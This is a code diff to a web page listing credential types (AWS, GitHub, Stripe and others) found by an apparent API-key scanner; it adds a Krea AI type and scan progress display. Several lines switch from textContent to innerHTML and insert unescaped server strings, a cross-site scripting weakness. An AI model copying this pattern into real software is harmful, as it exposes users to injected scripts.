|
|||||||
@@ -333,7 +333,7 @@ registerPage('api-keys', {
|
|||||||
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
|
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
|
||||||
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
|
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
|
||||||
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
|
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
|
||||||
sendgrid: 'SendGrid', slack: 'Slack'
|
sendgrid: 'SendGrid', slack: 'Slack', krea_ai: 'Krea AI'
|
||||||
};
|
};
|
||||||
|
|
||||||
var typeIcons = {
|
var typeIcons = {
|
||||||
@@ -342,7 +342,7 @@ registerPage('api-keys', {
|
|||||||
google_api: '🔵', aws_access_key: '🟡',
|
google_api: '🔵', aws_access_key: '🟡',
|
||||||
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
|
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
|
||||||
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
|
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
|
||||||
sendgrid: '📧', slack: '💬'
|
sendgrid: '📧', slack: '💬', krea_ai: '🎨'
|
||||||
};
|
};
|
||||||
|
|
||||||
function renderSummary(summary) {
|
function renderSummary(summary) {
|
||||||
@@ -673,29 +673,45 @@ registerPage('api-keys', {
|
|||||||
} catch(e) { el.style.display = 'none'; }
|
} catch(e) { el.style.display = 'none'; }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function formatScanProgress(s) {
|
||||||
|
var parts = [];
|
||||||
|
if (s.phase) parts.push(s.phase);
|
||||||
|
if (s.total > 0) parts.push(s.current + '/' + s.total);
|
||||||
|
if (s.detail && s.detail !== s.phase) {
|
||||||
|
var d = s.detail.length > 60 ? s.detail.substring(0, 57) + '…' : s.detail;
|
||||||
|
parts.push(d);
|
||||||
|
}
|
||||||
|
if (s.keysFound > 0) parts.push('🔑 ' + s.keysFound + ' gefunden');
|
||||||
|
return parts.join(' · ');
|
||||||
|
}
|
||||||
|
|
||||||
async function updateScanStatus() {
|
async function updateScanStatus() {
|
||||||
try {
|
try {
|
||||||
var s = await apiScanStatus();
|
var s = await apiScanStatus();
|
||||||
if (s.running) {
|
if (s.running) {
|
||||||
scanStatusEl.textContent = '⏳ Scan läuft…';
|
var progressText = formatScanProgress(s);
|
||||||
|
scanStatusEl.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (progressText || 'Scan läuft…');
|
||||||
setScanButtonsDisabled(true);
|
setScanButtonsDisabled(true);
|
||||||
if (!pollTimer) {
|
if (!pollTimer) {
|
||||||
pollTimer = setInterval(async function() {
|
pollTimer = setInterval(async function() {
|
||||||
var st = await apiScanStatus();
|
var st = await apiScanStatus();
|
||||||
await loadScannedKeys();
|
if (st.running) {
|
||||||
if (!st.running) {
|
var pt = formatScanProgress(st);
|
||||||
|
scanStatusEl.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (pt || 'Scan läuft…');
|
||||||
|
} else {
|
||||||
clearInterval(pollTimer);
|
clearInterval(pollTimer);
|
||||||
pollTimer = null;
|
pollTimer = null;
|
||||||
resetScanButtons();
|
resetScanButtons();
|
||||||
scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : '';
|
await loadScannedKeys();
|
||||||
|
scanStatusEl.innerHTML = st.lastResult ? '✅ ' + st.lastResult : '';
|
||||||
}
|
}
|
||||||
}, 3000);
|
}, 1500);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
resetScanButtons();
|
resetScanButtons();
|
||||||
if (s.lastResult) {
|
if (s.lastResult) {
|
||||||
var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : '';
|
var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : '';
|
||||||
scanStatusEl.textContent = timeStr + s.lastResult;
|
scanStatusEl.innerHTML = timeStr + s.lastResult;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (err) { /* ignore */ }
|
} catch (err) { /* ignore */ }
|
||||||
|
|||||||
Reference in new issue
Block a user